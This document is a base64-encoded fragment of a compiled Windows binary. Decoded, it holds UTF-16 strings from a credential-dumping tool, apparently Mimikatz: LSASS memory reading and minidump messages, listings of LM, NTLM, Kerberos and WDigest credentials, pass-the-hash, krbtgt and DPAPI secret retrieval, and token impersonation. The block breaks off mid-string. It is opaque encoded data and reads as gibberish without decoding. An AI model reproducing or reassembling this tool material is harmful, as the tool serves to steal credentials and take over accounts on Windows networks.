4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAJAAkAUABhAHMAcwB3AG8AcgBkACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBQAEkATgAgAEMAbwBkAGUAIAAgACAAIAAgACAAIAAgADoAIAAlADAANABoAHUACgAAAAAACQAJAEIAYQBjAGsAZwByAG8AdQBuAGQAIABwAGEAdABoACAAOgAgACUAcwAKAAAACQAJAFAAaQBjAHQAdQByAGUAIABwAGEAcwBzAHcAbwByAGQAIAAoAGcAcgBpAGQAIABpAHMAIAAxADUAMAAqADEAMAAwACkACgAAAAkACQAgAFsAJQB1AF0AIAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAGEAbgB0AGkAYwBsAG8AYwBrAHcAaQBzAGUAAABjAGkAcgBjAGwAZQAgACgAeAAgAD0AIAAlADMAdQAgADsAIAB5ACAAPQAgACUAMwB1ACAAOwAgAHIAIAA9ACAAJQAzAHUAKQAgAC0AIAAlAHMAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAACUAdQAKAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlAC4AKgBzAFwAAAB0AG8AZABvACAAPwAKAAAACQBOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAdABlAG0AcAAgAHYAYQB1AGwAdAAAAAAACQBQAGEAdABoACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAWwBVAFMASABPAFIAVABdACAAJQBoAHUAAAAAAFsARABXAE8AUgBEAF0AIAAlAHUAAAAAAFsAUwBUAFIASQBOAEcAXQAgACUAcwAAAFsAQgBZAFQARQAqAF0AIAAAAAAAWwBTAEkARABdACAAAAAAAFsAQQBUAFQAUgBJAEIAVQBUAEUAXQAKAAAAAAAJAAkAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAACQAJACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAACQAJACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABbAFQAeQBwAGUAIAAlADIAdQBdACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPABOAFUATABMAD4AAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBQAGUAcgBzAGkAcwB0ACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBGAGwAYQBnAHMAIAAgACAAIAAgACAAOgAgACUAMAA4AHgACgAAAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAA6ACAAAAAKAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA6ACAAJQB1AAoAAAAgAFsAJQAyAHUAXQAgAEEAdAB0AHIAaQBiAHUAdABlAAoAAAAgACAARgBsAGEAZwBzACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAgACAASwBlAHkAdwBvAHIAZAAgADoAIAAlAHMACgAAACAAIABWAGEAbAB1AGUAIAAgACAAOgAgAAAAAABpAG4AZgBvAHMAAABtAGkAbgBlAHMAdwBlAGUAcABlAHIAAABNAGkAbgBlAFMAdwBlAGUAcABlAHIAIABtAG8AZAB1AGwAZQAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAEMAIAAoAFIAIAA9ACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAUgAKAAAAAAAlAEMAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEIAbwBhAHIAZAAgAGMAbwBwAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAEcAYQBtAGUAIABjAG8AcAB5AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABHACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAAUABFAEIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATgBvACAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAaQBuACAAbQBlAG0AbwByAHkAIQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGUAbABlAG0AZQBuAHQAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAcgBlAGYAZQByAGUAbgBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbgB0ADUAXwBpAG4AaQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAKAAAAAABiAGMAcgB5AHAAdAAAAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAQkNyeXB0RW5jcnlwdAAAAEJDcnlwdERlY3J5cHQAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAATwBiAGoAZQBjAHQATABlAG4AZwB0AGgAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABtAHMAdgAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABMAGkAcwB0AHMAIABLAGUAcgBiAGUAcgBvAHMAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAHQAcwBwAGsAZwAAAEwAaQBzAHQAcwAgAFQAcwBQAGsAZwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAaQB2AGUAcwBzAHAAAABMAGkAcwB0AHMAIABMAGkAdgBlAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAYQBsAGwAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAbQBpAG4AaQBkAHUAbQBwAAAAAABTAHcAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAHAAdABoAAAAUABhAHMAcwAtAHQAaABlAC0AaABhAHMAaAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAdABpAGMAawBlAHQAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAZQBrAGUAeQBzAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAATABpAHMAdAAgAEMAYQBjAGgAZQBkACAATQBhAHMAdABlAHIASwBlAHkAcwAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABNAGEAbgBhAGcAZQByAAAAAABzAGUAawB1AHIAbABzAGEAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAAAAAAFMAbwBtAGUAIABjAG8AbQBtAGEAbgBkAHMAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuAC4ALgAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbQBpAG4AaQBkAHUAbQBwACAAOwAgADwAbQBpAG4AaQBkAHUAbQBwAGYAaQBsAGUALgBkAG0AcAA+ACAAYQByAGcAdQBtAGUAbgB0ACAAaQBzACAAbQBpAHMAcwBpAG4AZwAKAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEkATgBUAEUATAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEsAZQB5ACAAaQBtAHAAbwByAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBnAG8AbgAgAGwAaQBzAHQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AbwBkAHUAbABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHQAdwBvAHIAawAAAEIAYQB0AGMAaAAAAFMAZQByAHYAaQBjAGUAAABQAHIAbwB4AHkAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAACgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AIABJAGQAIAA6ACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAFMAZQBzAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIABmAHIAbwBtACAAJQB1AAoAVQBzAGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoARABvAG0AYQBpAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAdwBaAAoATABvAGcAbwBuACAAUwBlAHIAdgBlAHIAIAAgACAAIAAgACAAOgAgACUAdwBaAAoAAAAAAEwAbwBnAG8AbgAgAFQAaQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABQAHIAZQB2AGkAbwB1AHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABmAGkAbgBkACAASwBEAEMAIABwAGEAdAB0AGUAcgBuACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAKACUAcwAgAGsAcgBiAHQAZwB0ADoAIAAAAAAAJQB1ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAoAAAAJACAAKgAgACUAcwAgADoAIAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAABmAHUAbABsADoAIAAAAAAACgBtAC8AdQAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAE4AbwB0ACAAaQBuAGkAdABpAGEAbABpAHoAZQBkACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABQAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQAIABpAG4AIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAABpAG0AcABlAHIAcwBvAG4AYQB0AGUAAAByAHUAbgAAAHkAZQBzAAAAbgBvAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAQQBFAFMAMQAyADgACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADIANQA2ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAA2ADQAIAAoADMAMgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADIANQA2ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABOAFQATABNAAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAvAHIAYwA0ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAgACAAfAAgACAAUABJAEQAIAAgACUAdQAKACAAIAB8ACAAIABUAEkARAAgACAAJQB1AAoAAAAAACAAIAB8ACAAIABMAFUASQBEACAAJQB1ACAAOwAgACUAdQAgACgAJQAwADgAeAA6ACUAMAA4AHgAKQAKAAAAAAAgACAAXABfACAAbQBzAHYAMQBfADAAIAAgACAALQAgAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAUwBlAHQAVABoAHIAZQBhAGQAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEQAdQBwAGwAaQBjAGEAdABlAFQAbwBrAGUAbgBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAVABvAGsAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAvAHIAYwA0ACAATwBSACAAYQBlAHMAMQAyADgAIABPAFIAIABhAGUAcwAyADUANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAATgBUAEwATQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUwBIAEEAMQAgACAAIAAgACAAOgAgAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAKAAkAIAAqACAAUwBtAGEAcgB0AGMAYQByAGQAAAAAAAoACQAgACAAIAAgACAAUABJAE4AIABjAG8AZABlACAAOgAgACUAdwBaAAAAAAAAAAoACQAgACAAIAAgACAAQwBhAHIAZAAgACAAIAAgACAAOgAgACUAcwAKAAkAIAAgACAAIAAgAFIAZQBhAGQAZQByACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABDAG8AbgB0AGEAaQBuAGUAcgA6ACAAJQBzAAoACQAgACAAIAAgACAAUAByAG8AdgBpAGQAZQByACAAOgAgACUAcwAAAAAACQAgACAAIAAlAHMAIAAAADwAbgBvACAAcwBpAHoAZQAsACAAYgB1AGYAZgBlAHIAIAB